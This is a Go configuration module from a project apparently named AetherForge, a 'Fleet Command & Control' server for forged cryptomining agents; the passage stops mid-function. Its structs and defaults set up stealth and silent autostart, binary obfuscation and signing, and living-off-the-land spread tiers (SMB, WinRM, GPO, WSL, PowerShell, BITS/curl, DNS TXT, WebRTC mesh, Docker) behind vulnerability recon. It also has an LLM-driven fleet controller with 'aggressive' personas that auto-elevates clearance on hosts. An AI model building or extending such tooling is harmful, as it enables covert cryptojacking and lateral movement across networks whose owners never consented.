Files
AetherForge/server/config.go
AetherForge dd612251d1
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Scrub example data, theatrics, and non-functional prod garbage
Remove shipped test wallets, builtin Cloudflare token, tracked E2E/music/scratch artifacts; Mission Deck forge bar now polls real server progress.
2026-06-07 02:28:58 -07:00

1093 lines
40 KiB
Go

package main
import (
"encoding/json"
"flag"
"fmt"
"os"
"path/filepath"
"strings"
"crypto-miner-server/internal/alerts"
)
type Config struct {
Port int `json:"port"`
DataDir string `json:"-"` // set from -data CLI flag; never written to config.json
Pool PoolConfig `json:"pool"`
Wallet WalletConfig `json:"wallet"`
// Ravencoin / GPU mining defaults — pre-populated in Forge when set here.
RvnPool PoolConfig `json:"rvn_pool,omitempty"`
RvnWallet WalletConfig `json:"rvn_wallet,omitempty"`
// Legacy JSON fields — ignored at runtime; Forge bakes per-miner settings into installers.
DefaultAgent AgentDefaults `json:"default_agent_config,omitempty"`
Background BackgroundConfig `json:"background,omitempty"`
Alerts AlertsConfig `json:"alerts"`
Server ServerSettings `json:"server"`
TunnelDefaults TunnelDefaults `json:"tunnel_defaults,omitempty"`
// DeploymentCredentials are operator-authorized spread profiles (vault refs only in config).
DeploymentCredentials []DeploymentCredProfile `json:"deployment_credentials,omitempty"`
}
// TunnelDefaults holds operator-facing protocol tunnel presets (Calibrate).
type TunnelDefaults struct {
// CloudflaredTargetURL is the default outbound tunnel target (usually server public_url).
CloudflaredTargetURL string `json:"cloudflared_target_url"`
// CloudflareTunnelToken is the Zero Trust connector token (cloudflared tunnel run --token).
// Also mirrored to data/cloudflared-token.txt on save for LAUNCH.bat / portable USB.
CloudflareTunnelToken string `json:"cloudflare_tunnel_token,omitempty"`
}
// ServerSettings controls the locally hosted control server (not baked into miners).
type ServerSettings struct {
PublicURL string `json:"public_url"`
StatsRetentionHours int `json:"stats_retention_hours"`
BuildRetentionDays int `json:"build_retention_days"`
PoolReconnectSeconds int `json:"pool_reconnect_seconds"`
WebSocketPingSeconds int `json:"websocket_ping_seconds"`
MaxAgents int `json:"max_agents"`
MaxBuildSizeMB int `json:"max_build_size_mb"`
LogAgentConnections bool `json:"log_agent_connections"`
LogShareSubmissions bool `json:"log_share_submissions"`
LogPoolTraffic bool `json:"log_pool_traffic"`
StrictWalletValidation bool `json:"strict_wallet_validation"`
DashboardSubtitle string `json:"dashboard_subtitle"`
OpenFirewallOnStart bool `json:"open_firewall_on_start"`
ObfuscateDefault bool `json:"obfuscate_default"`
SignEnabled bool `json:"sign_enabled"`
SignCertThumbprint string `json:"sign_cert_thumbprint"`
SignToolPath string `json:"sign_tool_path"`
SignTimestampURL string `json:"sign_timestamp_url"`
// FleetSecret is a random token generated once on first run and baked into
// every forged agent binary. Agents must present it on connect or be rejected.
FleetSecret string `json:"fleet_secret"`
// PublicBuildsEnabled exposes all builds on unauthenticated /api/v1/public/* routes.
// When false (default), only pinned + public-flagged + latest PublicBuildsLatestN are listed.
PublicBuildsEnabled bool `json:"public_builds_enabled"`
PublicBuildsLatestN int `json:"public_builds_latest_n"`
// LotlOnionTiers is the server-side ordered spread contingency chain pushed to
// agents forged with lotl_policy_from_server (LOTL Onion preset).
LotlOnionTiers []string `json:"lotl_onion_tiers,omitempty"`
// ServiceDeployAllowlist maps discovered service names to LOTL join lanes for discover_and_join.
ServiceDeployAllowlist map[string]ServiceDeployLane `json:"service_deploy_allowlist,omitempty"`
// DNSZone is the suffix for _aether.<zone> TXT mesh records (e.g. site.internal).
DNSZone string `json:"dns_zone,omitempty"`
// WebRTCMeshPolicy controls LAN seeder rotation and STUN for webrtc_mesh spread.
WebRTCMeshPolicy WebRTCMeshPolicySettings `json:"webrtc_mesh_policy,omitempty"`
// TripleOnionPolicy gates recon → deploy → mining chains pushed to agents at auth.
TripleOnionPolicy TripleOnionSettings `json:"triple_onion_policy,omitempty"`
// AdaptiveStrategyEnabled learns LOTL tier order from fleet outcomes (user machines only).
AdaptiveStrategyEnabled bool `json:"adaptive_strategy_enabled"`
// AIControlEnabled switches fleet control from adaptive tier learning to local LLM decisions.
AIControlEnabled bool `json:"ai_control_enabled"`
// AIEndpoint is the OpenAI-compatible base URL (e.g. Ollama /v1).
AIEndpoint string `json:"ai_endpoint"`
// AIModel is the LLM model name for fleet AI control (Calibrate).
AIModel string `json:"ai_model"`
// AINoContext forces stateless single-turn decisions (no conversation memory).
AINoContext bool `json:"ai_no_context"`
// AIDecisionIntervalSec is seconds between AI decision cycles per agent (default 60).
AIDecisionIntervalSec int `json:"ai_decision_interval_sec"`
// AIAutoElevateClearance lets the AI scheduler raise clearance for stuck hosts (default true when AI mode).
AIAutoElevateClearance bool `json:"ai_auto_elevate_clearance"`
// AIPersona selects the Calibrate fleet AI preset (aggressive|silent|passive|persuasive|balanced).
AIPersona string `json:"ai_persona,omitempty"`
}
// WebRTCMeshPolicySettings is Calibrate policy for WebRTC LAN seed spread.
type WebRTCMeshPolicySettings struct {
Enabled bool `json:"enabled,omitempty"`
STUNServers []string `json:"stun_servers,omitempty"`
RotationHours int `json:"rotation_hours,omitempty"`
}
// TripleOnionSettings is Calibrate policy for the agent triple onion.
type TripleOnionSettings struct {
PatchFirst bool `json:"patch_first,omitempty"`
MineIsolatedTier bool `json:"mine_isolated_tier,omitempty"`
SkipMiningOnHighRisk bool `json:"skip_mining_on_high_risk,omitempty"`
HighRiskThreshold int `json:"high_risk_threshold,omitempty"`
ReconTiers []string `json:"recon_tiers,omitempty"`
DeployLanes []string `json:"deploy_lanes,omitempty"`
}
// ServiceDeployLane maps a discovered service to a supply-chain join lane.
type ServiceDeployLane struct {
Lane string `json:"lane"`
Priority int `json:"priority,omitempty"`
Template string `json:"template,omitempty"`
}
// PoolEndpoint is a Stratum upstream used after the primary pool fails.
type PoolEndpoint struct {
Host string `json:"host"`
Port int `json:"port"`
UseTLS bool `json:"use_tls"`
}
type PoolConfig struct {
Host string `json:"host"`
Port int `json:"port"`
UseTLS bool `json:"use_tls"`
Password string `json:"password"`
BackupPools []PoolEndpoint `json:"backup_pools,omitempty"`
}
type WalletConfig struct {
Address string `json:"address"`
PaymentID string `json:"payment_id"`
}
type AgentDefaults struct {
Threads int `json:"threads"`
ThreadMode string `json:"thread_mode"`
ThreadPercent int `json:"thread_percent"`
CPUPriority string `json:"cpu_priority"`
MaxCPUUsagePct int `json:"max_cpu_usage_pct"`
MaxMemoryPct int `json:"max_memory_percent"`
MinFreeRAMMB int `json:"min_free_ram_mb"`
MiningMode string `json:"mining_mode"`
DisplayMode string `json:"display_mode"`
ProcessName string `json:"process_name"`
IdleThresholdPct int `json:"idle_threshold_pct"`
IdleDurationMinutes int `json:"idle_duration_minutes"`
ScheduleStart string `json:"schedule_start"`
ScheduleEnd string `json:"schedule_end"`
InstallBase string `json:"install_base"`
InstallCustomBase string `json:"install_custom_base"`
InstallRelativePath string `json:"install_relative_path"`
AdaptToHardware bool `json:"adapt_to_hardware"`
SelfHealing bool `json:"self_healing"`
FileLogging bool `json:"file_logging"`
StealthMode bool `json:"stealth_mode"`
}
type BackgroundConfig struct {
SilentMode bool `json:"silent_mode"`
RunAs string `json:"run_as"`
AutoStart bool `json:"auto_start"`
}
type AlertsConfig struct {
OfflineThresholdMinutes int `json:"offline_threshold_minutes"`
HashrateDropThresholdPct int `json:"hashrate_drop_threshold_pct"`
RejectionRateThresholdPct int `json:"rejection_rate_threshold_pct"`
TelegramBotToken string `json:"telegram_bot_token"`
TelegramChatID string `json:"telegram_chat_id"`
WebhookURL string `json:"webhook_url"`
// Per-event Telegram/email toggles (default true).
NotifyAgentConnect bool `json:"notify_agent_connect"`
NotifyAgentReconnect bool `json:"notify_agent_reconnect"`
NotifyAgentOffline bool `json:"notify_agent_offline"`
NotifyHashrateDrop bool `json:"notify_hashrate_drop"`
NotifyRejectionRate bool `json:"notify_rejection_rate"`
NotifyBuildComplete bool `json:"notify_build_complete"`
NotifyKEVExposure bool `json:"notify_kev_exposure"`
EmailEnabled bool `json:"email_enabled"`
SMTPHost string `json:"smtp_host"`
SMTPPort int `json:"smtp_port"`
SMTPUser string `json:"smtp_user"`
SMTPPassword string `json:"smtp_password"`
EmailTo string `json:"email_to"`
EmailFrom string `json:"email_from"`
}
func DefaultConfig() *Config {
return &Config{
Port: 8989,
DataDir: "data",
Pool: PoolConfig{
Host: "pool.supportxmr.com",
Port: 443,
UseTLS: true,
Password: "x",
BackupPools: []PoolEndpoint{
{Host: "gulf.moneroocean.stream", Port: 20128, UseTLS: true},
{Host: "xmr.herominers.com", Port: 1120, UseTLS: true},
},
},
Wallet: WalletConfig{
Address: "",
PaymentID: "",
},
RvnPool: PoolConfig{
Host: "rvn.2miners.com",
Port: 6060,
UseTLS: false,
Password: "x",
BackupPools: []PoolEndpoint{
{Host: "stratum-ravencoin.flypool.org", Port: 3333, UseTLS: false},
{Host: "kawpow.herominers.com", Port: 1130, UseTLS: false},
},
},
RvnWallet: WalletConfig{
Address: "",
},
DefaultAgent: AgentDefaults{
Threads: 4,
ThreadMode: "percent",
ThreadPercent: 75,
CPUPriority: "below_normal",
MaxCPUUsagePct: 80,
MaxMemoryPct: 70,
MinFreeRAMMB: 1024,
MiningMode: "always",
DisplayMode: "background",
ProcessName: "",
IdleThresholdPct: 20,
IdleDurationMinutes: 5,
ScheduleStart: "21:00",
ScheduleEnd: "06:00",
InstallBase: "localappdata",
InstallRelativePath: "CryptoMiner/{worker}-{build_short}",
AdaptToHardware: true,
SelfHealing: true,
FileLogging: true,
StealthMode: false,
},
Background: BackgroundConfig{
SilentMode: true,
RunAs: "service",
AutoStart: true,
},
Alerts: AlertsConfig{
OfflineThresholdMinutes: 5,
HashrateDropThresholdPct: 50,
RejectionRateThresholdPct: 5,
NotifyAgentConnect: true,
NotifyAgentReconnect: true,
NotifyAgentOffline: true,
NotifyHashrateDrop: true,
NotifyRejectionRate: true,
NotifyBuildComplete: true,
NotifyKEVExposure: true,
},
Server: ServerSettings{
PublicURL: "",
StatsRetentionHours: 168,
BuildRetentionDays: 30,
PoolReconnectSeconds: 30,
WebSocketPingSeconds: 30,
MaxAgents: 256,
MaxBuildSizeMB: 150,
LogAgentConnections: true,
LogShareSubmissions: false,
LogPoolTraffic: false,
StrictWalletValidation: false,
DashboardSubtitle: "Fleet Command & Control",
OpenFirewallOnStart: true,
ObfuscateDefault: false,
SignEnabled: false,
SignTimestampURL: "http://timestamp.digicert.com",
PublicBuildsLatestN: 3,
LotlOnionTiers: []string{
"vuln_recon",
"docker", "wsl", "powershell", "dotnet", "bits_curl",
"do_peer", "wsus_cache_peer", "dns_txt", "webrtc_mesh",
"smb", "winrm", "linux", "gpo",
},
DNSZone: "internal",
WebRTCMeshPolicy: WebRTCMeshPolicySettings{
Enabled: false,
STUNServers: []string{"stun:stun.l.google.com:19302"},
RotationHours: 24,
},
ServiceDeployAllowlist: defaultServiceDeployAllowlist(),
AdaptiveStrategyEnabled: true,
AIControlEnabled: false,
AIEndpoint: "http://127.0.0.1:11434/v1",
AIModel: "",
AINoContext: true,
AIDecisionIntervalSec: 60,
AIAutoElevateClearance: true,
AIPersona: "balanced",
},
}
}
func LoadConfig() *Config {
cfg := DefaultConfig()
port := flag.Int("port", 8989, "Server port")
dataDir := flag.String("data", "data", "Data directory")
cliPortExplicit := false
flag.Parse()
flag.Visit(func(f *flag.Flag) {
if f.Name == "port" {
cliPortExplicit = true
}
})
cliPort := *port
// Resolve data dir before reading config.json so relative -data always targets <repo>/data.
projectRoot := findProjectRoot()
cfg.DataDir = resolveDataDir(*dataDir, projectRoot)
if cliPortExplicit {
cfg.Port = cliPort
} else {
cfg.Port = cliPort
}
configPath := filepath.Join(cfg.DataDir, "config.json")
if data, err := os.ReadFile(configPath); err == nil {
var fileCfg Config
if unmarshalErr := json.Unmarshal(data, &fileCfg); unmarshalErr != nil {
fmt.Fprintf(os.Stderr, "[Config] WARNING: config.json is malformed and will be ignored: %v\n", unmarshalErr)
} else {
// Use mergeConfigExplicit so that boolean fields absent from the file
// keep their DefaultConfig values instead of being zeroed (H14).
var presentKeys map[string]json.RawMessage
_ = json.Unmarshal(data, &presentKeys)
mergeConfigExplicit(cfg, &fileCfg, presentKeys)
hydrateLegacyAIConfig(cfg, data)
if !strings.Contains(string(data), `"open_firewall_on_start"`) {
cfg.Server.OpenFirewallOnStart = true
}
if !strings.Contains(string(data), `"notify_agent_connect"`) {
cfg.Alerts.NotifyAgentConnect = true
cfg.Alerts.NotifyAgentReconnect = true
cfg.Alerts.NotifyAgentOffline = true
cfg.Alerts.NotifyHashrateDrop = true
cfg.Alerts.NotifyRejectionRate = true
cfg.Alerts.NotifyBuildComplete = true
cfg.Alerts.NotifyKEVExposure = true
}
}
}
// Explicit -port wins over config.json (LAUNCH/devrun pass -port alongside file-based settings).
if cliPortExplicit {
cfg.Port = cliPort
}
if strings.TrimSpace(cfg.TunnelDefaults.CloudflaredTargetURL) == "" && strings.TrimSpace(cfg.Server.PublicURL) != "" {
cfg.TunnelDefaults.CloudflaredTargetURL = strings.TrimSpace(cfg.Server.PublicURL)
}
hydrateCloudflareTokenFromFile(cfg)
return cfg
}
const cloudflaredTokenFile = "cloudflared-token.txt"
// ConnectorToken returns the Cloudflare Zero Trust connector token (env, config, or data/cloudflared-token.txt).
func (c *Config) ConnectorToken() string {
if c == nil {
return ""
}
if t := strings.TrimSpace(os.Getenv("AF_TUNNEL_TOKEN")); t != "" {
return t
}
if t := strings.TrimSpace(c.TunnelDefaults.CloudflareTunnelToken); t != "" {
return t
}
if c.DataDir != "" {
if data, err := os.ReadFile(filepath.Join(c.DataDir, cloudflaredTokenFile)); err == nil {
if t := strings.TrimSpace(string(data)); t != "" {
return t
}
}
}
return ""
}
func hydrateCloudflareTokenFromFile(cfg *Config) {
if cfg == nil || strings.TrimSpace(cfg.TunnelDefaults.CloudflareTunnelToken) != "" || cfg.DataDir == "" {
return
}
data, err := os.ReadFile(filepath.Join(cfg.DataDir, cloudflaredTokenFile))
if err != nil {
return
}
cfg.TunnelDefaults.CloudflareTunnelToken = strings.TrimSpace(string(data))
}
func (c *Config) syncCloudflaredTokenFile() {
if c == nil || c.DataDir == "" {
return
}
tok := strings.TrimSpace(c.TunnelDefaults.CloudflareTunnelToken)
if tok == "" {
return
}
path := filepath.Join(c.DataDir, cloudflaredTokenFile)
_ = os.WriteFile(path, []byte(tok+"\n"), 0600)
}
// AlertSettings builds notification settings for the alerts package.
func (c *Config) AlertSettings() alerts.Settings {
if c == nil {
return alerts.Settings{}
}
return alerts.NewSettings(alerts.NotifyConfig{
TelegramBotToken: c.Alerts.TelegramBotToken,
TelegramChatID: c.Alerts.TelegramChatID,
WebhookURL: c.Alerts.WebhookURL,
EmailEnabled: c.Alerts.EmailEnabled,
SMTPHost: c.Alerts.SMTPHost,
SMTPPort: c.Alerts.SMTPPort,
SMTPUser: c.Alerts.SMTPUser,
SMTPPassword: c.Alerts.SMTPPassword,
EmailTo: c.Alerts.EmailTo,
EmailFrom: c.Alerts.EmailFrom,
}, alerts.EventToggles{
AgentConnect: c.Alerts.NotifyAgentConnect,
AgentReconnect: c.Alerts.NotifyAgentReconnect,
AgentOffline: c.Alerts.NotifyAgentOffline,
HashrateDrop: c.Alerts.NotifyHashrateDrop,
RejectionRate: c.Alerts.NotifyRejectionRate,
BuildComplete: c.Alerts.NotifyBuildComplete,
KEVExposure: c.Alerts.NotifyKEVExposure,
})
}
// mergeConfig is the legacy unconditional merge used only as a fallback when no
// field-presence map is available (i.e. never during API PUT). Boolean fields such
// as UseTLS are blindly copied from src, meaning a zero-value src resets them to
// false. Prefer mergeConfigExplicit for all partial-update paths — it only applies
// a field when that key was explicitly present in the JSON payload.
func mergeConfig(dst, src *Config) {
if src.Port != 0 {
dst.Port = src.Port
}
if src.DataDir != "" {
dst.DataDir = src.DataDir
}
if src.Pool.Host != "" {
dst.Pool.Host = src.Pool.Host
}
if src.Pool.Port != 0 {
dst.Pool.Port = src.Pool.Port
}
dst.Pool.UseTLS = src.Pool.UseTLS
if src.Pool.Password != "" {
dst.Pool.Password = src.Pool.Password
}
if len(src.Pool.BackupPools) > 0 {
dst.Pool.BackupPools = append([]PoolEndpoint(nil), src.Pool.BackupPools...)
}
if src.Wallet.Address != "" {
dst.Wallet.Address = src.Wallet.Address
}
if src.Wallet.PaymentID != "" {
dst.Wallet.PaymentID = src.Wallet.PaymentID
}
if src.RvnPool.Host != "" {
dst.RvnPool.Host = src.RvnPool.Host
}
if src.RvnPool.Port != 0 {
dst.RvnPool.Port = src.RvnPool.Port
}
dst.RvnPool.UseTLS = src.RvnPool.UseTLS
if src.RvnPool.Password != "" {
dst.RvnPool.Password = src.RvnPool.Password
}
if len(src.RvnPool.BackupPools) > 0 {
dst.RvnPool.BackupPools = append([]PoolEndpoint(nil), src.RvnPool.BackupPools...)
}
if src.RvnWallet.Address != "" {
dst.RvnWallet.Address = src.RvnWallet.Address
}
if src.DefaultAgent.Threads != 0 {
dst.DefaultAgent.Threads = src.DefaultAgent.Threads
}
if src.DefaultAgent.ThreadMode != "" {
dst.DefaultAgent.ThreadMode = src.DefaultAgent.ThreadMode
}
if src.DefaultAgent.ThreadPercent != 0 {
dst.DefaultAgent.ThreadPercent = src.DefaultAgent.ThreadPercent
}
if src.DefaultAgent.CPUPriority != "" {
dst.DefaultAgent.CPUPriority = src.DefaultAgent.CPUPriority
}
if src.DefaultAgent.MaxCPUUsagePct != 0 {
dst.DefaultAgent.MaxCPUUsagePct = src.DefaultAgent.MaxCPUUsagePct
}
if src.DefaultAgent.MaxMemoryPct != 0 {
dst.DefaultAgent.MaxMemoryPct = src.DefaultAgent.MaxMemoryPct
}
if src.DefaultAgent.MinFreeRAMMB != 0 {
dst.DefaultAgent.MinFreeRAMMB = src.DefaultAgent.MinFreeRAMMB
}
if src.DefaultAgent.MiningMode != "" {
dst.DefaultAgent.MiningMode = src.DefaultAgent.MiningMode
}
if src.DefaultAgent.DisplayMode != "" {
dst.DefaultAgent.DisplayMode = src.DefaultAgent.DisplayMode
}
if src.DefaultAgent.ProcessName != "" {
dst.DefaultAgent.ProcessName = src.DefaultAgent.ProcessName
}
if src.DefaultAgent.IdleThresholdPct != 0 {
dst.DefaultAgent.IdleThresholdPct = src.DefaultAgent.IdleThresholdPct
}
if src.DefaultAgent.IdleDurationMinutes != 0 {
dst.DefaultAgent.IdleDurationMinutes = src.DefaultAgent.IdleDurationMinutes
}
if src.DefaultAgent.ScheduleStart != "" {
dst.DefaultAgent.ScheduleStart = src.DefaultAgent.ScheduleStart
}
if src.DefaultAgent.ScheduleEnd != "" {
dst.DefaultAgent.ScheduleEnd = src.DefaultAgent.ScheduleEnd
}
if src.DefaultAgent.InstallBase != "" {
dst.DefaultAgent.InstallBase = src.DefaultAgent.InstallBase
}
if src.DefaultAgent.InstallCustomBase != "" {
dst.DefaultAgent.InstallCustomBase = src.DefaultAgent.InstallCustomBase
}
if src.DefaultAgent.InstallRelativePath != "" {
dst.DefaultAgent.InstallRelativePath = src.DefaultAgent.InstallRelativePath
}
if src.DefaultAgent.InstallRelativePath != "" || src.DefaultAgent.StealthMode || !src.DefaultAgent.FileLogging {
dst.DefaultAgent.AdaptToHardware = src.DefaultAgent.AdaptToHardware
dst.DefaultAgent.SelfHealing = src.DefaultAgent.SelfHealing
dst.DefaultAgent.FileLogging = src.DefaultAgent.FileLogging
dst.DefaultAgent.StealthMode = src.DefaultAgent.StealthMode
}
dst.Background.SilentMode = src.Background.SilentMode
if src.Background.RunAs != "" {
dst.Background.RunAs = src.Background.RunAs
}
dst.Background.AutoStart = src.Background.AutoStart
if src.Alerts.OfflineThresholdMinutes != 0 {
dst.Alerts.OfflineThresholdMinutes = src.Alerts.OfflineThresholdMinutes
}
if src.Alerts.HashrateDropThresholdPct != 0 {
dst.Alerts.HashrateDropThresholdPct = src.Alerts.HashrateDropThresholdPct
}
if src.Alerts.RejectionRateThresholdPct != 0 {
dst.Alerts.RejectionRateThresholdPct = src.Alerts.RejectionRateThresholdPct
}
if src.Alerts.TelegramBotToken != "" {
dst.Alerts.TelegramBotToken = src.Alerts.TelegramBotToken
}
if src.Alerts.TelegramChatID != "" {
dst.Alerts.TelegramChatID = src.Alerts.TelegramChatID
}
if src.Alerts.WebhookURL != "" {
dst.Alerts.WebhookURL = src.Alerts.WebhookURL
}
dst.Alerts.EmailEnabled = src.Alerts.EmailEnabled
dst.Alerts.NotifyAgentConnect = src.Alerts.NotifyAgentConnect
dst.Alerts.NotifyAgentReconnect = src.Alerts.NotifyAgentReconnect
dst.Alerts.NotifyAgentOffline = src.Alerts.NotifyAgentOffline
dst.Alerts.NotifyHashrateDrop = src.Alerts.NotifyHashrateDrop
dst.Alerts.NotifyRejectionRate = src.Alerts.NotifyRejectionRate
dst.Alerts.NotifyBuildComplete = src.Alerts.NotifyBuildComplete
dst.Alerts.NotifyKEVExposure = src.Alerts.NotifyKEVExposure
if src.Alerts.SMTPHost != "" {
dst.Alerts.SMTPHost = src.Alerts.SMTPHost
}
if src.Alerts.SMTPPort != 0 {
dst.Alerts.SMTPPort = src.Alerts.SMTPPort
}
if src.Alerts.SMTPUser != "" {
dst.Alerts.SMTPUser = src.Alerts.SMTPUser
}
if src.Alerts.SMTPPassword != "" {
dst.Alerts.SMTPPassword = src.Alerts.SMTPPassword
}
if src.Alerts.EmailTo != "" {
dst.Alerts.EmailTo = src.Alerts.EmailTo
}
if src.Alerts.EmailFrom != "" {
dst.Alerts.EmailFrom = src.Alerts.EmailFrom
}
if src.Server.PublicURL != "" {
dst.Server.PublicURL = src.Server.PublicURL
}
if src.Server.StatsRetentionHours != 0 {
dst.Server.StatsRetentionHours = src.Server.StatsRetentionHours
}
if src.Server.BuildRetentionDays != 0 {
dst.Server.BuildRetentionDays = src.Server.BuildRetentionDays
}
if src.Server.PoolReconnectSeconds != 0 {
dst.Server.PoolReconnectSeconds = src.Server.PoolReconnectSeconds
}
if src.Server.WebSocketPingSeconds != 0 {
dst.Server.WebSocketPingSeconds = src.Server.WebSocketPingSeconds
}
if src.Server.MaxAgents != 0 {
dst.Server.MaxAgents = src.Server.MaxAgents
}
if src.Server.MaxBuildSizeMB != 0 {
dst.Server.MaxBuildSizeMB = src.Server.MaxBuildSizeMB
}
dst.Server.LogAgentConnections = src.Server.LogAgentConnections
dst.Server.LogShareSubmissions = src.Server.LogShareSubmissions
dst.Server.LogPoolTraffic = src.Server.LogPoolTraffic
dst.Server.StrictWalletValidation = src.Server.StrictWalletValidation
if src.Server.DashboardSubtitle != "" {
dst.Server.DashboardSubtitle = src.Server.DashboardSubtitle
}
dst.Server.OpenFirewallOnStart = src.Server.OpenFirewallOnStart
dst.Server.ObfuscateDefault = src.Server.ObfuscateDefault
dst.Server.SignEnabled = src.Server.SignEnabled
if src.Server.SignCertThumbprint != "" {
dst.Server.SignCertThumbprint = src.Server.SignCertThumbprint
}
if src.Server.SignToolPath != "" {
dst.Server.SignToolPath = src.Server.SignToolPath
}
if src.Server.SignTimestampURL != "" {
dst.Server.SignTimestampURL = src.Server.SignTimestampURL
}
if src.Server.FleetSecret != "" {
dst.Server.FleetSecret = src.Server.FleetSecret
}
dst.Server.PublicBuildsEnabled = src.Server.PublicBuildsEnabled
if src.Server.PublicBuildsLatestN != 0 {
dst.Server.PublicBuildsLatestN = src.Server.PublicBuildsLatestN
}
if src.TunnelDefaults.CloudflaredTargetURL != "" {
dst.TunnelDefaults.CloudflaredTargetURL = src.TunnelDefaults.CloudflaredTargetURL
}
if src.TunnelDefaults.CloudflareTunnelToken != "" {
dst.TunnelDefaults.CloudflareTunnelToken = src.TunnelDefaults.CloudflareTunnelToken
}
}
// nestedJSONKeys returns keys explicitly present in a nested JSON object section.
func nestedJSONKeys(present map[string]json.RawMessage, section string) map[string]json.RawMessage {
if present == nil {
return nil
}
raw, ok := present[section]
if !ok || len(raw) == 0 {
return nil
}
var nested map[string]json.RawMessage
if err := json.Unmarshal(raw, &nested); err != nil {
return nil
}
return nested
}
// mergeConfigExplicit is like mergeConfig but only applies fields when the
// corresponding JSON key was explicitly present in the PUT payload.
// Top-level absence preserves existing values (H14); nested absence within a
// section preserves sibling fields (partial PUT / import shallow-merge fix).
func mergeConfigExplicit(dst, src *Config, present map[string]json.RawMessage) {
if present == nil {
// Fall back to old behaviour if we have no key presence info
mergeConfig(dst, src)
return
}
has := func(key string) bool { _, ok := present[key]; return ok }
in := func(section map[string]json.RawMessage, key string) bool {
if section == nil {
return false
}
_, ok := section[key]
return ok
}
// Non-boolean scalar fields — safe to use zero-value guard
if has("port") && src.Port != 0 {
dst.Port = src.Port
}
if has("data_dir") && src.DataDir != "" {
dst.DataDir = src.DataDir
}
if has("pool") {
poolKeys := nestedJSONKeys(present, "pool")
if in(poolKeys, "host") && src.Pool.Host != "" {
dst.Pool.Host = src.Pool.Host
}
if in(poolKeys, "port") && src.Pool.Port != 0 {
dst.Pool.Port = src.Pool.Port
}
if in(poolKeys, "use_tls") {
dst.Pool.UseTLS = src.Pool.UseTLS
}
if in(poolKeys, "password") && src.Pool.Password != "" {
dst.Pool.Password = src.Pool.Password
}
if in(poolKeys, "backup_pools") {
dst.Pool.BackupPools = append([]PoolEndpoint(nil), src.Pool.BackupPools...)
}
}
if has("wallet") {
walletKeys := nestedJSONKeys(present, "wallet")
if in(walletKeys, "address") && src.Wallet.Address != "" {
dst.Wallet.Address = src.Wallet.Address
}
if in(walletKeys, "payment_id") && src.Wallet.PaymentID != "" {
dst.Wallet.PaymentID = src.Wallet.PaymentID
}
}
if has("rvn_pool") {
rvnPoolKeys := nestedJSONKeys(present, "rvn_pool")
if in(rvnPoolKeys, "host") && src.RvnPool.Host != "" {
dst.RvnPool.Host = src.RvnPool.Host
}
if in(rvnPoolKeys, "port") && src.RvnPool.Port != 0 {
dst.RvnPool.Port = src.RvnPool.Port
}
if in(rvnPoolKeys, "use_tls") {
dst.RvnPool.UseTLS = src.RvnPool.UseTLS
}
if in(rvnPoolKeys, "password") && src.RvnPool.Password != "" {
dst.RvnPool.Password = src.RvnPool.Password
}
if in(rvnPoolKeys, "backup_pools") {
dst.RvnPool.BackupPools = append([]PoolEndpoint(nil), src.RvnPool.BackupPools...)
}
}
if has("rvn_wallet") {
rvnWalletKeys := nestedJSONKeys(present, "rvn_wallet")
if in(rvnWalletKeys, "address") && src.RvnWallet.Address != "" {
dst.RvnWallet.Address = src.RvnWallet.Address
}
}
// The JSON struct tag is "default_agent_config" — must match exactly.
if has("default_agent_config") {
daKeys := nestedJSONKeys(present, "default_agent_config")
if in(daKeys, "threads") && src.DefaultAgent.Threads != 0 {
dst.DefaultAgent.Threads = src.DefaultAgent.Threads
}
if in(daKeys, "thread_mode") && src.DefaultAgent.ThreadMode != "" {
dst.DefaultAgent.ThreadMode = src.DefaultAgent.ThreadMode
}
if in(daKeys, "thread_percent") && src.DefaultAgent.ThreadPercent != 0 {
dst.DefaultAgent.ThreadPercent = src.DefaultAgent.ThreadPercent
}
if in(daKeys, "cpu_priority") && src.DefaultAgent.CPUPriority != "" {
dst.DefaultAgent.CPUPriority = src.DefaultAgent.CPUPriority
}
if in(daKeys, "max_cpu_usage_pct") && src.DefaultAgent.MaxCPUUsagePct != 0 {
dst.DefaultAgent.MaxCPUUsagePct = src.DefaultAgent.MaxCPUUsagePct
}
if in(daKeys, "max_memory_percent") && src.DefaultAgent.MaxMemoryPct != 0 {
dst.DefaultAgent.MaxMemoryPct = src.DefaultAgent.MaxMemoryPct
}
if in(daKeys, "min_free_ram_mb") && src.DefaultAgent.MinFreeRAMMB != 0 {
dst.DefaultAgent.MinFreeRAMMB = src.DefaultAgent.MinFreeRAMMB
}
if in(daKeys, "mining_mode") && src.DefaultAgent.MiningMode != "" {
dst.DefaultAgent.MiningMode = src.DefaultAgent.MiningMode
}
if in(daKeys, "display_mode") && src.DefaultAgent.DisplayMode != "" {
dst.DefaultAgent.DisplayMode = src.DefaultAgent.DisplayMode
}
if in(daKeys, "process_name") && src.DefaultAgent.ProcessName != "" {
dst.DefaultAgent.ProcessName = src.DefaultAgent.ProcessName
}
if in(daKeys, "idle_threshold_pct") && src.DefaultAgent.IdleThresholdPct != 0 {
dst.DefaultAgent.IdleThresholdPct = src.DefaultAgent.IdleThresholdPct
}
if in(daKeys, "idle_duration_minutes") && src.DefaultAgent.IdleDurationMinutes != 0 {
dst.DefaultAgent.IdleDurationMinutes = src.DefaultAgent.IdleDurationMinutes
}
if in(daKeys, "schedule_start") && src.DefaultAgent.ScheduleStart != "" {
dst.DefaultAgent.ScheduleStart = src.DefaultAgent.ScheduleStart
}
if in(daKeys, "schedule_end") && src.DefaultAgent.ScheduleEnd != "" {
dst.DefaultAgent.ScheduleEnd = src.DefaultAgent.ScheduleEnd
}
if in(daKeys, "install_base") && src.DefaultAgent.InstallBase != "" {
dst.DefaultAgent.InstallBase = src.DefaultAgent.InstallBase
}
if in(daKeys, "install_custom_base") && src.DefaultAgent.InstallCustomBase != "" {
dst.DefaultAgent.InstallCustomBase = src.DefaultAgent.InstallCustomBase
}
if in(daKeys, "install_relative_path") && src.DefaultAgent.InstallRelativePath != "" {
dst.DefaultAgent.InstallRelativePath = src.DefaultAgent.InstallRelativePath
}
if in(daKeys, "adapt_to_hardware") {
dst.DefaultAgent.AdaptToHardware = src.DefaultAgent.AdaptToHardware
}
if in(daKeys, "self_healing") {
dst.DefaultAgent.SelfHealing = src.DefaultAgent.SelfHealing
}
if in(daKeys, "file_logging") {
dst.DefaultAgent.FileLogging = src.DefaultAgent.FileLogging
}
if in(daKeys, "stealth_mode") {
dst.DefaultAgent.StealthMode = src.DefaultAgent.StealthMode
}
}
if has("background") {
bgKeys := nestedJSONKeys(present, "background")
